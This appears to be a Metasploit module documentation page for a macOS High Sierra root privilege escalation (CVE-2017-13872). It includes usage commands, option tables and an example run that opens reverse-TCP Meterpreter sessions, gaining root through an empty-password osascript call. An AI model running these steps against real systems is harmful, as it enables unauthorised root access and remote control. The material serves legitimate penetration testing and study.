Mac OS X Root Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/osx/local/root_no_password metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mac OS X Root Privilege Escalation
Module: exploit/osx/local/root_no_password
Source code: modules/exploits/osx/local/root_no_password.rb
Disclosure date: 2017-11-29
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-13872
This module exploits a serious flaw in MacOSX High Sierra. Any user can login with user "root", leaving an empty password.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/osx/local/root_no_password
msf exploit(root_no_password) > show targets
... a list of targets ...
msf exploit(root_no_password) > set TARGET target-id
msf exploit(root_no_password) > show options
... show and set options ...
msf exploit(root_no_password) > set SESSION session-id
msf exploit(root_no_password) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This vulnerability works against OSX 10.13 (High Sierra). Early
research (https://objective-see.com/blog/blog_0x24.html) suggests that
the vulnerability is the result of multiple errors ultimately started by
an incorrect return value from triggered by the function
od_verify_crypt_password
returning true even if the account is
disabled. The subsequent function calls appear to validate and create
the password, though there is still a lot of research into the bug and
these results should be verified once more research has been published.
Verification Steps
- Get a session on a vulnerable system
use exploit/osx/local/root_no_password
set lhost <IP>
set lport <PORT>
set session <session_id>
run
Scenarios
Example Run
msf exploit(psexec) > use exploit/multi/handler
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf exploit(handler) > set lhost
lhost =>
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > run
[*] Started reverse TCP handler on :4567
httpserver[*] Meterpreter session 1 opened (:4567 -> :49347) at 2017-11-29 07:28:32 -0600
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : (MacOSX 17.0.0)
Architecture : x64
Meterpreter : x64/osx
meterpreter > getuid
Server username: uid=501, gid=20, euid=501, egid=20
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/osx/local/root_no_password
msf exploit(root_no_password) > show options
Module options (exploit/osx/local/root_no_password):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (osx/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
msf exploit(root_no_password) > set lhost
lhost =>
msf exploit(root_no_password) > set lport 4562
lport => 4562
msf exploit(root_no_password) > set session 1
session => 1
msf exploit(root_no_password) > run
[*] Started reverse TCP handler on :4562
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
[*] Meterpreter session 2 opened (:4562 -> :62522) at 2017-11-29 07:29:56 -0600
[*] - Meterpreter session 2 closed. Reason: Died
[*] Executing payload file as '/tmp/cinbvsmrmyxw'
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
[-] Invalid session identifier: 2
msf exploit(root_no_password) >
msf exploit(root_no_password) >
msf exploit(root_no_password) > run
[*] Started reverse TCP handler on :4562
[*] Writing payload file as '/tmp/imtjkakowanv'
[*] Executing payload file as '/tmp/imtjkakowanv'
[*] Meterpreter session 3 opened (:4562 -> :49348) at 2017-11-29 07:30:53 -0600
[+] Deleted /tmp/imtjkakowanv
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : (MacOSX 17.0.0)
Architecture : x64
Meterpreter : x64/osx
meterpreter > getuid
Server username: uid=0, gid=20, euid=0, egid=20
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the osx/local/root_no_password exploit module looks in the msfconsole:
msf6 > use exploit/osx/local/root_no_password
[*] Using configured payload osx/x64/meterpreter_reverse_tcp
msf6 exploit(osx/local/root_no_password) > show info
Name: Mac OS X Root Privilege Escalation
Module: exploit/osx/local/root_no_password
Platform: OSX
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-11-29
Provided by:
chethan177
lemiorhan
timwr
Available targets:
Id Name
-- ----
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a serious flaw in MacOSX High Sierra. Any user
can login with user "root", leaving an empty password.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-13872
https://twitter.com/lemiorhan/status/935578694541770752
https://news.ycombinator.com/item?id=15800676
https://forums.developer.apple.com/thread/79235
Module Options
This is a complete list of options available in the osx/local/root_no_password exploit:
msf6 exploit(osx/local/root_no_password) > show options
Module options (exploit/osx/local/root_no_password):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (osx/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
Advanced Options
Here is a complete list of advanced options supported by the osx/local/root_no_password exploit:
msf6 exploit(osx/local/root_no_password) > show advanced
Module advanced options (exploit/osx/local/root_no_password):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (osx/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/local/root_no_password module can exploit:
msf6 exploit(osx/local/root_no_password) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/root_no_password exploit:
msf6 exploit(osx/local/root_no_password) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/local/root_no_password exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/local/root_no_password) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
50: "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
51: end
52:
53: def exploit
54: if is_root?
55: fail_with Failure::BadConfig, 'Session already has root privileges'
56: end
57:
58: payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
59: print_status("Writing payload file as '#{payload_file}'")
60: write_file(payload_file, payload.raw)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #10118 Merged Pull Request: Cleanup OSX local exploit modules
- #9273 Merged Pull Request: add authors to osx/local/root_no_password
- #9255 Merged Pull Request: add local exploit for osx root login with no password
References
- CVE-2017-13872
- https://twitter.com/lemiorhan/status/935578694541770752
- https://news.ycombinator.com/item?id=15800676
- https://forums.developer.apple.com/thread/79235
See Also
Check also the following modules related to this module:
- auxiliary/scanner/vnc/ard_root_pw
- exploit/osx/local/cfprefsd_race_condition
- exploit/osx/local/dyld_print_to_file_root
- exploit/osx/local/feedback_assistant_root
- exploit/osx/local/iokit_keyboard_root
- exploit/osx/local/libxpc_mitm_ssudo
- exploit/osx/local/nfs_mount_root
- exploit/osx/local/persistence
- exploit/osx/local/rootpipe
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/local/rsh_libmalloc
- exploit/osx/local/setuid_tunnelblick
- exploit/osx/local/setuid_viscosity
- exploit/osx/local/sudo_password_bypass
- exploit/osx/local/timemachine_cmd_injection
- exploit/osx/local/tpwn
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/android/local/put_user_vroot
- exploit/linux/local/af_packet_chocobo_root_priv_esc
- exploit/linux/local/apport_abrt_chroot_priv_esc
- exploit/linux/local/diamorphine_rootkit_signal_priv_esc
- exploit/linux/local/libuser_roothelper_priv_esc
- exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
- exploit/unix/local/chkrootkit
- auxiliary/gather/saltstack_salt_root_key
- post/android/manage/remove_lock_root
- post/linux/busybox/smb_share_root
- post/multi/escalate/cups_root_file_read
- exploit/linux/antivirus/escan_password_exec
- exploit/windows/http/integard_password_bof
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
Related Nessus plugins:
- MacOS 10.13 root Authentication Bypass (Security Update 2017-001)
- macOS 10.13 root Authentication Bypass Direct Check
- macOS 10.13 Authentication Bypass Remote Check (CVE-2017-13872)
- macOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)
- macOS and Mac OS X Multiple Vulnerabilities (Security Update 2017-002 and 2017-005)
Authors
- chethan177
- lemiorhan
- timwr
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.